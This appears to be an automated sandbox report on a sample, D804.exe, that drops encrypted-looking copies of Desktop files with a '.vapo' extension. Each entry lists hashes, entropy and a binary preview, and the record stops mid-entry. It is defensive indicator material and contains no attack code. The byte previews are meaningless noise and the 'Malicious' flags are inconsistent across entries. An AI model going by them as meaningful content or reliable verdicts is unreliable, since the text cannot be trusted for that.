Preview:	GNLQNE..V.?l}6....3..S.eg..z.6..w.X{1....6...[............1"......Q......\|,.&.M......v..kE.[.8.+...2...W.f%..^....0e.;~..,U>I.../.........-_i..`..x....n.8G;...T...w..Sl...Al....Y....NY../..]..>..=...o..g........,....._\..v8.s.B.9......i,.......`..!.pW+..rx&Ax.%s.g...+)H(..!\..;\.tL..S..H.."g.2.B..J....V......?..w......Su=.S...&..x`.}....1.....'..\|.!<.p.F.:.c4......\|.....%...?..G.d.A7H?o...*Atg..;G...\|....i>.....he.9.8....:.....>E._.fh...=y.>.g\|.2....Vm....jNK.?lOVI....[.qA^...!...@...E.b..Z...(.(..J..:.5..].eT].Y._..V.@.s......u8q.eF#."..w...B...-......L....o..c.}.......(.N#...S?".@..j...k...%E.5~.+.hK.kO......F..j.S......MT 2.<.....\|,. j#...r.v.x..m..[.Z?.W..H3G._#5f.G...V.n....[5...._./,......,..H.%]..%(^,.kRf......=.P.c..aS..G.]"..p..8.h..#..\.3..7s....8LW...........)..z..\Z....gm...9y........,5..D<..."....'.=z..p.6.....E......#..}..K.L.<..}.Tm..U\|.!.\.w...fDq. ..Y....U.,..7.w7/8..B.7 ).V..PQT....8.......@.w.4>........?.

C:\Users\user\Desktop\HMPPSXQPQV.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858829878894281
Encrypted:	false
SSDEEP:	24:tIRgimxkoBiPNKqXWv9kcGBCJySHVuXZZzlgmT/gOAVNrtC5kytOPObD:tIqimxkRKupeXYZZzlgvyisD
MD5:	7F053371DFF62D82119164F040B6C9E9
SHA1:	14A0279F63A9F7EEB36ADCEB8717EDAF933EED33
SHA-256:	C839868C8A1FAE239DA80B158C78F0F3024035BE864BA17B5C1A3EBE95664FD6
SHA-512:	D644388F401F3C9B899B01DD174062DDBC7A2471BE147AE4A31A0B610CE06C57804DC8F4C88C3A66D2BAAA5817959054C069EA8646AA4F190D7513037545F50E
Malicious:	true
Reputation:	unknown
Preview:	HMPPS.. ....H.`.\.0....`.OB.q[O.....Z.'.3^.6v.Sc~.y.^..q .FD1....Pm..!.He....v...Z7..)@f4h...a......w.../...mM.....v.......f..\.4..9.9vY!L..JZ&w.1rt...c.....\b&Vm...^f..(...@...h'...;.^%...]...TW..<(x.X ....E..u.+4........X..$_...:.0.`.n.....w....o. .Bu].......2V...bR..w.If.fE...iY..;.J?X..+B.K7..\.w.q........_....#.>o.e.O......Nj!{Y...W;q...sz.?....@.a.cS.../.V.L../.\E%..q.eGo..T......*........V.T..AU..]....MJ...U_.^.Z&.....z..L0.....^.SAt.\|q....Sq.B._...s.O.&Bv?...^....v...?.....-...w......o:/T+>.h.&.y.7.Aj.0._.O........w...{.0$n^..l.Q..-M.O.m.!&"Y.u.Y.2OF.] {..[.Fg.8>A.w.T.....N..U z.i.:..@...S....D....M..>...M..@&T~.(......./.]..J.\g2..+.bp....?.....jX.."0...S..`...[#.I{./.zd.........9#.;........ E.....#.l..<=...`.{.cLb..z..7.)...F.k>...w.....f.C...?..g...(...U.,......-....Vf....R;.m...\SE.y...............)w#%.G.....K.\b.. ....@.>.VlOg.J.;.S.~...........A....W..~~.M{j....;.....K..].2.....?......P..u6..@:.rm_L.P.QND...%..y..^@

C:\Users\user\Desktop\HMPPSXQPQV.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858829878894281
Encrypted:	false
SSDEEP:	24:tIRgimxkoBiPNKqXWv9kcGBCJySHVuXZZzlgmT/gOAVNrtC5kytOPObD:tIqimxkRKupeXYZZzlgvyisD
MD5:	7F053371DFF62D82119164F040B6C9E9
SHA1:	14A0279F63A9F7EEB36ADCEB8717EDAF933EED33
SHA-256:	C839868C8A1FAE239DA80B158C78F0F3024035BE864BA17B5C1A3EBE95664FD6
SHA-512:	D644388F401F3C9B899B01DD174062DDBC7A2471BE147AE4A31A0B610CE06C57804DC8F4C88C3A66D2BAAA5817959054C069EA8646AA4F190D7513037545F50E
Malicious:	false
Reputation:	unknown
Preview:	HMPPS.. ....H.`.\.0....`.OB.q[O.....Z.'.3^.6v.Sc~.y.^..q .FD1....Pm..!.He....v...Z7..)@f4h...a......w.../...mM.....v.......f..\.4..9.9vY!L..JZ&w.1rt...c.....\b&Vm...^f..(...@...h'...;.^%...]...TW..<(x.X ....E..u.+4........X..$_...:.0.`.n.....w....o. .Bu].......2V...bR..w.If.fE...iY..;.J?X..+B.K7..\.w.q........_....#.>o.e.O......Nj!{Y...W;q...sz.?....@.a.cS.../.V.L../.\E%..q.eGo..T......*........V.T..AU..]....MJ...U_.^.Z&.....z..L0.....^.SAt.\|q....Sq.B._...s.O.&Bv?...^....v...?.....-...w......o:/T+>.h.&.y.7.Aj.0._.O........w...{.0$n^..l.Q..-M.O.m.!&"Y.u.Y.2OF.] {..[.Fg.8>A.w.T.....N..U z.i.:..@...S....D....M..>...M..@&T~.(......./.]..J.\g2..+.bp....?.....jX.."0...S..`...[#.I{./.zd.........9#.;........ E.....#.l..<=...`.{.cLb..z..7.)...F.k>...w.....f.C...?..g...(...U.,......-....Vf....R;.m...\SE.y...............)w#%.G.....K.\b.. ....@.>.VlOg.J.;.S.~...........A....W..~~.M{j....;.....K..].2.....?......P..u6..@:.rm_L.P.QND...%..y..^@

C:\Users\user\Desktop\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848466650261886
Encrypted:	false
SSDEEP:	24:x/yaK9IcgWn0QdU8VDdWV2BX3esqtuwL67TcaTrvER756gbravkz2juPgwB2DIO4:x/yaKUDG3zHV3WLOlT8756gf70u4woDO
MD5:	D88517C21D71608B72F880E2F995CE23
SHA1:	4A25213AB601CAF49C1ABD802FA28A489CCE80E7
SHA-256:	1A27D850C6DFC356929F75E104FD71143007C2F869CCACAB66D9E6464FBB2354
SHA-512:	E29795E1440855E48FD0D14E291EC4986179E9507BC589471A9DD81F23E4CB208D0C8257FF63CA67B5123904730700CCF59AB9661E8B7B409F12B7F2A8F0EC97
Malicious:	false
Reputation:	unknown
Preview:	HQJBR.Q...@$K.q'u.G;.ICN2..5..W..8.........3..\|E6C.n.B.n..@...O.....r..n....a...h.F....h.iA...{..1/...6..J5..f.."Q\a.k0;;.....%......z...d,"..@.z&.0.....e(y.6q....4..o..ua.H..(o.m..L.2..q..0k.\|.&y...,..u.`.....s..&..K.%8k\|N...y'.....-Ah.......T... .E..4..u......\.R.;e.B.q]........D.'.......#.0Pu.r..D......L...Cg.G.jr,]Ve9.KY......mxB....!q@...%.\.k.V.(%..R.?.\...m....B.-.-..%PuB....v...a..O...k.jU.$fF&.....-P.j.(_..M..,?.....c..r.a........rq:...lZ"..X.....0..#..(..K.........$..w.c..u...a(k....2;...\|...b..O..9t:.6Y.J....g..$8^...w.r.....`..E.b;\|..........M.Fq.o...!=.W..!lP..!9......d\|U>.e.?..].....,..../'.U...%..=<..GR.,l(.t.H.....b..\|.zkk..<...5..m..U....F.^.....J.$D.?,.3..\..D..u.+\|#...NryR.....{&2.f.-7-..W....\|......Y.=o"..Z...)V...[..J+.W....NS.$...c\.r..T.W.$....B.....4...z.L.a.[_...(n..!-...Z%..W...e.7..{.5..../.p..n.IM.(...P..`.....$.so.<.Fj2l...X.'......0.z$Gd.....\]..p....\.GH.......Oe.EY..<+..7`h.}.f."........9...m.C..6.Y

C:\Users\user\Desktop\HQJBRDYKDE.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848466650261886
Encrypted:	false
SSDEEP:	24:x/yaK9IcgWn0QdU8VDdWV2BX3esqtuwL67TcaTrvER756gbravkz2juPgwB2DIO4:x/yaKUDG3zHV3WLOlT8756gf70u4woDO
MD5:	D88517C21D71608B72F880E2F995CE23
SHA1:	4A25213AB601CAF49C1ABD802FA28A489CCE80E7
SHA-256:	1A27D850C6DFC356929F75E104FD71143007C2F869CCACAB66D9E6464FBB2354
SHA-512:	E29795E1440855E48FD0D14E291EC4986179E9507BC589471A9DD81F23E4CB208D0C8257FF63CA67B5123904730700CCF59AB9661E8B7B409F12B7F2A8F0EC97
Malicious:	false
Reputation:	unknown
Preview:	HQJBR.Q...@$K.q'u.G;.ICN2..5..W..8.........3..\|E6C.n.B.n..@...O.....r..n....a...h.F....h.iA...{..1/...6..J5..f.."Q\a.k0;;.....%......z...d,"..@.z&.0.....e(y.6q....4..o..ua.H..(o.m..L.2..q..0k.\|.&y...,..u.`.....s..&..K.%8k\|N...y'.....-Ah.......T... .E..4..u......\.R.;e.B.q]........D.'.......#.0Pu.r..D......L...Cg.G.jr,]Ve9.KY......mxB....!q@...%.\.k.V.(%..R.?.\...m....B.-.-..%PuB....v...a..O...k.jU.$fF&.....-P.j.(_..M..,?.....c..r.a........rq:...lZ"..X.....0..#..(..K.........$..w.c..u...a(k....2;...\|...b..O..9t:.6Y.J....g..$8^...w.r.....`..E.b;\|..........M.Fq.o...!=.W..!lP..!9......d\|U>.e.?..].....,..../'.U...%..=<..GR.,l(.t.H.....b..\|.zkk..<...5..m..U....F.^.....J.$D.?,.3..\..D..u.+\|#...NryR.....{&2.f.-7-..W....\|......Y.=o"..Z...)V...[..J+.W....NS.$...c\.r..T.W.$....B.....4...z.L.a.[_...(n..!-...Z%..W...e.7..{.5..../.p..n.IM.(...P..`.....$.so.<.Fj2l...X.'......0.z$Gd.....\]..p....\.GH.......Oe.EY..<+..7`h.}.f."........9...m.C..6.Y

C:\Users\user\Desktop\LFOPODGVOH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822811184260018
Encrypted:	false
SSDEEP:	24:y4dWOKIpjkUrwXRdbdelWYR3vEfCeXjtnubPToIJdwSvcPrJoUQEIZo7bD:yfO/tkUKdbaWi3vE1jdEPzB0PrwEGED
MD5:	7A0C7E6D65962EFB7F74D1C8E9224519
SHA1:	2778C98C36E47AD89F5E52E11DDFD88B78AAF5F0
SHA-256:	59D6FFAD1474FD2D62F8CC6B102690B0CDE2C071255DF11A0295EEE49ABED6AF
SHA-512:	40E6EC378E85330E57094A93E10FB1B6A19FE661119EADFEDBB7A1C33A5C1AFB293129339E0F41C3030AC129D4D2448C6EFAB3497DA621E44FE5BFDE3743E527
Malicious:	false
Reputation:	unknown
Preview:	LFOPOW.>.....z.r.M.}04....,*..8.1pQ.....u..(w....C.....i%.I........O$4DW\..2.v...Kc...iqeb\|..-...0......jUo/.../3z..\...G...n}7q.....Up.2..?.c.W....l.SL6.J...`~QaY..!9....an..K...DAoJ}..........$qWK.yh.U.....Y.u..T"..m......}..8"..i'./.?...w..D..K.._.C.....4.....Hm.....~@\|...=..WK.n..Rw......F\.$.?.y.B.6.....z\|.3I.lxpe..#e......~.K.-W....7}X.87.........G[.H.P.O%..A......r5....l..@..P..P!6+..j...x.S..=..IJ6T.xzEQ...Y.j.J.'...l.0....4A.}.c}E.......n.K.x;...Nz..Aa...6..L.;@O(..v.a\...V\Mz..\.4<......:...Ys)U1V...x...]..u:. '.........lF%(`....H...!.p.._q.....\.....w4....N.l7)..Y&..t..8D\|....G.S}.J.(.cn..5..H..l.7?.H.!q..E....8oy.sr(....<.CC.g.~...0.B.j.F.I...ap..VY.....K..-..E..8......F...A..;1.....e.$o...0.tcU&_lv......\|P.iH..>^.\|.B.b.N._..X...?....d...W..XKz.e.?..0....`0..QJ....jp.r.....jV.P..g.6.(K .hI..z.......-...?L\|.F..\|.".....&D..A..{.D...[_.T>.......(u.\.....^...H-.....u..jo..C....[f.r.X.\|...{..g.....u.^.g5t=.0..... ..0O ./..r

C:\Users\user\Desktop\LFOPODGVOH.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.822811184260018
Encrypted:	false
SSDEEP:	24:y4dWOKIpjkUrwXRdbdelWYR3vEfCeXjtnubPToIJdwSvcPrJoUQEIZo7bD:yfO/tkUKdbaWi3vE1jdEPzB0PrwEGED
MD5:	7A0C7E6D65962EFB7F74D1C8E9224519
SHA1:	2778C98C36E47AD89F5E52E11DDFD88B78AAF5F0
SHA-256:	59D6FFAD1474FD2D62F8CC6B102690B0CDE2C071255DF11A0295EEE49ABED6AF
SHA-512:	40E6EC378E85330E57094A93E10FB1B6A19FE661119EADFEDBB7A1C33A5C1AFB293129339E0F41C3030AC129D4D2448C6EFAB3497DA621E44FE5BFDE3743E527
Malicious:	false
Reputation:	unknown
Preview:	LFOPOW.>.....z.r.M.}04....,*..8.1pQ.....u..(w....C.....i%.I........O$4DW\..2.v...Kc...iqeb\|..-...0......jUo/.../3z..\...G...n}7q.....Up.2..?.c.W....l.SL6.J...`~QaY..!9....an..K...DAoJ}..........$qWK.yh.U.....Y.u..T"..m......}..8"..i'./.?...w..D..K.._.C.....4.....Hm.....~@\|...=..WK.n..Rw......F\.$.?.y.B.6.....z\|.3I.lxpe..#e......~.K.-W....7}X.87.........G[.H.P.O%..A......r5....l..@..P..P!6+..j...x.S..=..IJ6T.xzEQ...Y.j.J.'...l.0....4A.}.c}E.......n.K.x;...Nz..Aa...6..L.;@O(..v.a\...V\Mz..\.4<......:...Ys)U1V...x...]..u:. '.........lF%(`....H...!.p.._q.....\.....w4....N.l7)..Y&..t..8D\|....G.S}.J.(.cn..5..H..l.7?.H.!q..E....8oy.sr(....<.CC.g.~...0.B.j.F.I...ap..VY.....K..-..E..8......F...A..;1.....e.$o...0.tcU&_lv......\|P.iH..>^.\|.B.b.N._..X...?....d...W..XKz.e.?..0....`0..QJ....jp.r.....jV.P..g.6.(K .hI..z.......-...?L\|.F..\|.".....&D..A..{.D...[_.T>.......(u.\.....^...H-.....u..jo..C....[f.r.X.\|...{..g.....u.^.g5t=.0..... ..0O ./..r

C:\Users\user\Desktop\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868850440755465
Encrypted:	false
SSDEEP:	24:AdSy/hos9+1BLZjBGlaFfA0BWJ11UH2KjRbiIDsTiy1l2VijwZjG7sbD:UCs9+1BLY4/C1UWK4BH1l2Vlx5D
MD5:	CA35043CCD05D3CDCCD5B4AD8E2E060F
SHA1:	D1D5151101D8A0B6AC9CA162AE32F6422408DAEA
SHA-256:	34C9187055110A0B07DF31212083B88093494E8571324744F2F90E25C4182966
SHA-512:	740E19B42056C5F8422B1005D2A0DEB5C352BB5BEF71DF203C1411808C2301D85B2F19814B0FE9BADF1F5AA7250A788A2537C1511066D24C07C09007B91AB9FF
Malicious:	false
Reputation:	unknown
Preview:	LFOPO.`..%..w....7.....Z)...+b.A....0T...p*h...{(..R...w.H.94.C.Xq..~...,.>d.k;...d.\|.,.,...a...D..e..\..U...@N..sK.y....9......m..1..a..FS....6.q......M0...P`H...w.ae......^.f@..~.+O...-..'Q.A.K.....%.n.u.....g..!......$.. ./......%3..(.U..]....=..E..v..\|.l!/....[d..\.......L.=.........\|.......1..i.JC.JGA....=f ........`...}..)...A$Q&....I.sZ.......,I4....2.q...?[.F.2t..b{.....w.d...Y].?...z':....<...8MGe...1...hY.X...s.2m..$:.P0`.}..a.1}.g...G..36Z..+.I.\.\|.=%..C....V!.3....E..~:._mj~....{......K..5...;.@#...P.d.O...$...6F....fC...E.f4~.......Mu.._\|.....3,l.y.....T......jf....b....v.._..zT..q.sG...A-.7..Eq>..V.M7.H..........y..).1..0i......W).`vtq.a..<`}r.r_07.[..Ds.Z....~.JyP .v.......Y.h.....4Di....^.#V`2....K..\.?.....g......V..I....B..Z..!...<.G^.Z.C.....F.;.N.`[!e....@..C...B..6.9..XU.c.H..n1..7.z......{.[...o..eG]..,/P(.1. .... !..T.^..:.i.I.kl=.....n....XWF...BSO..2{.B..)...E.e....M"..P...a.q;Z..../>.\.M..).{0.3..x.

C:\Users\user\Desktop\LFOPODGVOH.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868850440755465
Encrypted:	false
SSDEEP:	24:AdSy/hos9+1BLZjBGlaFfA0BWJ11UH2KjRbiIDsTiy1l2VijwZjG7sbD:UCs9+1BLY4/C1UWK4BH1l2Vlx5D
MD5:	CA35043CCD05D3CDCCD5B4AD8E2E060F
SHA1:	D1D5151101D8A0B6AC9CA162AE32F6422408DAEA
SHA-256:	34C9187055110A0B07DF31212083B88093494E8571324744F2F90E25C4182966
SHA-512:	740E19B42056C5F8422B1005D2A0DEB5C352BB5BEF71DF203C1411808C2301D85B2F19814B0FE9BADF1F5AA7250A788A2537C1511066D24C07C09007B91AB9FF
Malicious:	false
Reputation:	unknown
Preview:	LFOPO.`..%..w....7.....Z)...+b.A....0T...p*h...{(..R...w.H.94.C.Xq..~...,.>d.k;...d.\|.,.,...a...D..e..\..U...@N..sK.y....9......m..1..a..FS....6.q......M0...P`H...w.ae......^.f@..~.+O...-..'Q.A.K.....%.n.u.....g..!......$.. ./......%3..(.U..]....=..E..v..\|.l!/....[d..\.......L.=.........\|.......1..i.JC.JGA....=f ........`...}..)...A$Q&....I.sZ.......,I4....2.q...?[.F.2t..b{.....w.d...Y].?...z':....<...8MGe...1...hY.X...s.2m..$:.P0`.}..a.1}.g...G..36Z..+.I.\.\|.=%..C....V!.3....E..~:._mj~....{......K..5...;.@#...P.d.O...$...6F....fC...E.f4~.......Mu.._\|.....3,l.y.....T......jf....b....v.._..zT..q.sG...A-.7..Eq>..V.M7.H..........y..).1..0i......W).`vtq.a..<`}r.r_07.[..Ds.Z....~.JyP .v.......Y.h.....4Di....^.#V`2....K..\.?.....g......V..I....B..Z..!...<.G^.Z.C.....F.;.N.`[!e....@..C...B..6.9..XU.c.H..n1..7.z......{.[...o..eG]..,/P(.1. .... !..T.^..:.i.I.kl=.....n....XWF...BSO..2{.B..)...E.e....M"..P...a.q;Z..../>.\.M..).{0.3..x.

C:\Users\user\Desktop\LHEPQPGEWF.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8601419602885585
Encrypted:	false
SSDEEP:	24:9b+wY9JFwd/Ta2PpVRjYfUIP7/cDqcqDZtFjOuP7Lj3w6f0b2vuWWNLaK89bD:9kbi5TbxknDKqjvFjOuP7Lj3E29f3D
MD5:	7DE9D9D42F41CEA67DB6C07FF2284B4D
SHA1:	A8F0594CD749540EB69A5D9B1A871F03FE44F6B5
SHA-256:	BA07BADA6F282D3A0EB7CEF900D5E49C5D30675B31681AAAB21CF6DDCB2889CE
SHA-512:	8D748EE73E773170B8FE011FE9CE3D9A8DF5A3A15191616382B57EF63217927CFFC0DDCC37274E0D3510A74F507B3A876863426CC1A83854B46582D1E0822178
Malicious:	false
Reputation:	unknown
Preview:	LHEPQ\|..K..h_..d<...L.(.K.vc.z]..Z5...B..(..6..b....v.j......g....66.B.3./%U`...zl........I...c...v...S......6.G....+.`.H}....v....<......U.....Jx....].....E....[..{Wg~.KT.....K.%x......~\|..c.F....jd....w......=.+.$,H......e..ai...pt...G...Z..2.I.O.$.%.]...;08l.ESN..Q.[gu..H...@z....N.`Z...M..s7.}.........4.`;e..\.(.r.M..t.....(U...f.U\.l....1......"p..xv5+...U.*.h0..S..5.U.m.e.f0.n2V&1.-]..M.t.@.kg..b.n;.l@.0K.W>.!BX.,.."...=.dG..Gt....p...h'.'...v[q...H..^>.Y......Nr.D..$T.....y.d.=..._mN.......4e...S....^....).h"K...Z.........}....<Ap.~....d...2..!...n. .MJ..M..@.e.i.=...X...qpw+.J0.C.q...o.n..\..-W.c.$vP;0..EA...J.L.....C.1...E.D7'\|:...=P.3.HB..K1..A$./S...,.X....t..t.2..E.w.c..._..Vf.Akd..1\..%.q...gW.h..X'.-...f$x'..KV..!...5tx$.z.e.&.(w.wC......m.!yA.\.Ff.~?..}@B.j.......A...B....-.zX..RL..b...5O9.....Ta....b.[\|k....h..2....K3..k...-&.'..^....:...;F^..!..'XL.lD..Q!$i.[.G.<....."K...x.m.A>..1U..y..R.;F}c.).EU.&..........0.[+.

C:\Users\user\Desktop\LHEPQPGEWF.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8601419602885585
Encrypted:	false
SSDEEP:	24:9b+wY9JFwd/Ta2PpVRjYfUIP7/cDqcqDZtFjOuP7Lj3w6f0b2vuWWNLaK89bD:9kbi5TbxknDKqjvFjOuP7Lj3E29f3D
MD5:	7DE9D9D42F41CEA67DB6C07FF2284B4D
SHA1:	A8F0594CD749540EB69A5D9B1A871F03FE44F6B5
SHA-256:	BA07BADA6F282D3A0EB7CEF900D5E49C5D30675B31681AAAB21CF6DDCB2889CE
SHA-512:	8D748EE73E773170B8FE011FE9CE3D9A8DF5A3A15191616382B57EF63217927CFFC0DDCC37274E0D3510A74F507B3A876863426CC1A83854B46582D1E0822178
Malicious:	false
Reputation:	unknown
Preview:	LHEPQ\|..K..h_..d<...L.(.K.vc.z]..Z5...B..(..6..b....v.j......g....66.B.3./%U`...zl........I...c...v...S......6.G....+.`.H}....v....<......U.....Jx....].....E....[..{Wg~.KT.....K.%x......~\|..c.F....jd....w......=.+.$,H......e..ai...pt...G...Z..2.I.O.$.%.]...;08l.ESN..Q.[gu..H...@z....N.`Z...M..s7.}.........4.`;e..\.(.r.M..t.....(U...f.U\.l....1......"p..xv5+...U.*.h0..S..5.U.m.e.f0.n2V&1.-]..M.t.@.kg..b.n;.l@.0K.W>.!BX.,.."...=.dG..Gt....p...h'.'...v[q...H..^>.Y......Nr.D..$T.....y.d.=..._mN.......4e...S....^....).h"K...Z.........}....<Ap.~....d...2..!...n. .MJ..M..@.e.i.=...X...qpw+.J0.C.q...o.n..\..-W.c.$vP;0..EA...J.L.....C.1...E.D7'\|:...=P.3.HB..K1..A$./S...,.X....t..t.2..E.w.c..._..Vf.Akd..1\..%.q...gW.h..X'.-...f$x'..KV..!...5tx$.z.e.&.(w.wC......m.!yA.\.Ff.~?..}@B.j.......A...B....-.zX..RL..b...5O9.....Ta....b.[\|k....h..2....K3..k...-&.'..^....:...;F^..!..'XL.lD..Q!$i.[.G.<....."K...x.m.A>..1U..y..R.;F}c.).EU.&..........0.[+.

C:\Users\user\Desktop\LIJDSFKJZG.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8671823427657745
Encrypted:	false
SSDEEP:	24:h+y5aezTrmewLFFDwXV7J7y1SOq3HgP+TbhqjcUSxtOQOrS8IC1BMibD:c8aePa/Fxwn0q3HhqOMn2hCBMwD
MD5:	ECEC46F711CC3D43B39194545EB8CAFE
SHA1:	5F1068B5724D6C73D3A47A9C802DDF66FB41CD98
SHA-256:	F5043C47B26A0E1783A136E5D3118A80CD69BC1079ADF3A0D28CEA67A9DB0D5A
SHA-512:	3BBA20211D520E99E863496C35C325C6FA7A750BC5B76C0CD6B27316BF0883D324445C5901C1B7F693FDDD672C727BDED0ED14A3756A5E2A868AEDF698F38112
Malicious:	false
Reputation:	unknown
Preview:	LIJDS.\\..m.#................t.g...k.O;..[..Zb...}jS..,......R....M..8.....)4......@#Pz..%..).q&....{.P.M!.<..Z.f...:....+..a.."..y..\|..r..F....=i.n..F..7;..T7C=...b.-...b..J.....x..!...,...1...(....B..._...r?,bV\|.Z#iG....2.L..6..-.f'w?F..a......`=_....VH..h.j.t...\.Z....f..b..'...T ...7=.hr..2..Q ..)rl.+..l72a`...NMy.$....r/Z...2p..d..G?:..7K..'!p....4q..y..U^O}7.0.....u+.f(E..B..n;..w...Xh. h&.\.._.1.#..!z.}.'&Z.t.]x.......w....q+..mphO..jB......l....x....X.....=..&....,..{.....Y&O.b..........d...>.....E..*,..=.U,......K?..SQ....i..9..V......G.:g.;.~N..X..oL.X.........9.O...}.KD.".P. v..er.{..>..+<.{...t.r.${=.<.U...^Z...:,i..P....TL...0\|..o..Y.+.....5..`jb....q...3l.....X......K..1....;...\|...l......_..p0...%..rUva...x..!j.R....`f.\..gx...V.t. \|...'xY...;......nJ....O..r.N.JI..g.......7v.YK.r..t..Y;....Em.A...I..-......x.W..........!.i..R9...!;..a.s.,..0%...a&v..I}.V.F....c...s.I@;F.AJ?.....).@>.sHZ.?././.rR((3.N.....7.[.{#.....\

C:\Users\user\Desktop\LIJDSFKJZG.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8671823427657745
Encrypted:	false
SSDEEP:	24:h+y5aezTrmewLFFDwXV7J7y1SOq3HgP+TbhqjcUSxtOQOrS8IC1BMibD:c8aePa/Fxwn0q3HhqOMn2hCBMwD
MD5:	ECEC46F711CC3D43B39194545EB8CAFE
SHA1:	5F1068B5724D6C73D3A47A9C802DDF66FB41CD98
SHA-256:	F5043C47B26A0E1783A136E5D3118A80CD69BC1079ADF3A0D28CEA67A9DB0D5A
SHA-512:	3BBA20211D520E99E863496C35C325C6FA7A750BC5B76C0CD6B27316BF0883D324445C5901C1B7F693FDDD672C727BDED0ED14A3756A5E2A868AEDF698F38112
Malicious:	false
Reputation:	unknown
Preview:	LIJDS.\\..m.#................t.g...k.O;..[..Zb...}jS..,......R....M..8.....)4......@#Pz..%..).q&....{.P.M!.<..Z.f...:....+..a.."..y..\|..r..F....=i.n..F..7;..T7C=...b.-...b..J.....x..!...,...1...(....B..._...r?,bV\|.Z#iG....2.L..6..-.f'w?F..a......`=_....VH..h.j.t...\.Z....f..b..'...T ...7=.hr..2..Q ..)rl.+..l72a`...NMy.$....r/Z...2p..d..G?:..7K..'!p....4q..y..U^O}7.0.....u+.f(E..B..n;..w...Xh. h&.\.._.1.#..!z.}.'&Z.t.]x.......w....q+..mphO..jB......l....x....X.....=..&....,..{.....Y&O.b..........d...>.....E..*,..=.U,......K?..SQ....i..9..V......G.:g.;.~N..X..oL.X.........9.O...}.KD.".P. v..er.{..>..+<.{...t.r.${=.<.U...^Z...:,i..P....TL...0\|..o..Y.+.....5..`jb....q...3l.....X......K..1....;...\|...l......_..p0...%..rUva...x..!j.R....`f.\..gx...V.t. \|...'xY...;......nJ....O..r.N.JI..g.......7v.YK.r..t..Y;....Em.A...I..-......x.W..........!.i..R9...!;..a.s.,..0%...a&v..I}.V.F....c...s.I@;F.AJ?.....).@>.sHZ.?././.rR((3.N.....7.[.{#.....\

C:\Users\user\Desktop\NIRMEKAMZH.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861120015473619
Encrypted:	false
SSDEEP:	24:IMzyvNadOQow6jyvAMXiOvto1jPggdiIaehquHNTbBY7eWMRIXHUJue8LbD:I9LQ9kyvAMXjy1bggdiITBzRIkAe8vD
MD5:	45DE4B5C5F86045EAA2707CFC80BB2AF
SHA1:	7C32A32BAC17B0E8900AABAE37A6AC032F771963
SHA-256:	D736145CED5866BAE90ECBF713EFCE19C02D59CA26B8D407FFE3623C88F206CE
SHA-512:	C9BC75173739AD97EFA1C2A2D4ACAF15C32E8CBFC037879E009221B77530EE72EFC8079D8C17F1D2A04EB98B0D77A98B157E8F0B893F025D0939226EE40B1F1B
Malicious:	false
Reputation:	unknown
Preview:	NIRME.>.....#.D....W....j.s...:.d...T.].....Ll..1...'M(b,......Ap<H_.E........W'.5n.T..w..Qn.F../m-9.Z."X:..S..e.'.....cyg.'...-t...=(..5.USaefE.... .D_....!d...?....v....g_.X.z'....E7.?d.Vxp......{X...~..C.k.t..GjG.U._.j.;(..B..x......l3S.Lq.y.51.^.....M....I..4...A ..5..l..W.6....NU.'F-`..!.@..@...z4.".c.AK...B.5.<7C.w....%.0l..h.......C......2.. `Q...K-../r ]A~..n....O...)...'.T.bK.....O.o...Y......l.._..lsB..._.\4+......\|..D...S..p2R........M\|.D..Q...Y<<riw.W..)...^.c.B.e.R..F].v...d.....e2@'.{m...3zxK..h.[.\u.5~.fQ..6`.7...\|O.D\|..8P.W.n.S......lJ...A.C(.^..."e.?...l........)...v.,...d....... !.S.gZ......A'.N..>..Z...^+.Q....=C.y.w......Lj}Y8..R..o....\|.F..~.f&nOyx}.Dj.m...C.=Q....Oy^j..&dL~....N...b^t...a.....H/..f8....5.X.4WN...cl.DZ..>b...J......i.GIy...I.........h.eqrs.0OQ..K.>.....k...gS"iH.cVy.'...~.w.l./q....oY...f.~.[..BP...;..qg..%n...._j..Fu?..!%y....~.~. $..]i......YA...J..._...R.k.*../......)p"&..."..e....UM.v...>.:)D

C:\Users\user\Desktop\NIRMEKAMZH.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861120015473619
Encrypted:	false
SSDEEP:	24:IMzyvNadOQow6jyvAMXiOvto1jPggdiIaehquHNTbBY7eWMRIXHUJue8LbD:I9LQ9kyvAMXjy1bggdiITBzRIkAe8vD
MD5:	45DE4B5C5F86045EAA2707CFC80BB2AF
SHA1:	7C32A32BAC17B0E8900AABAE37A6AC032F771963
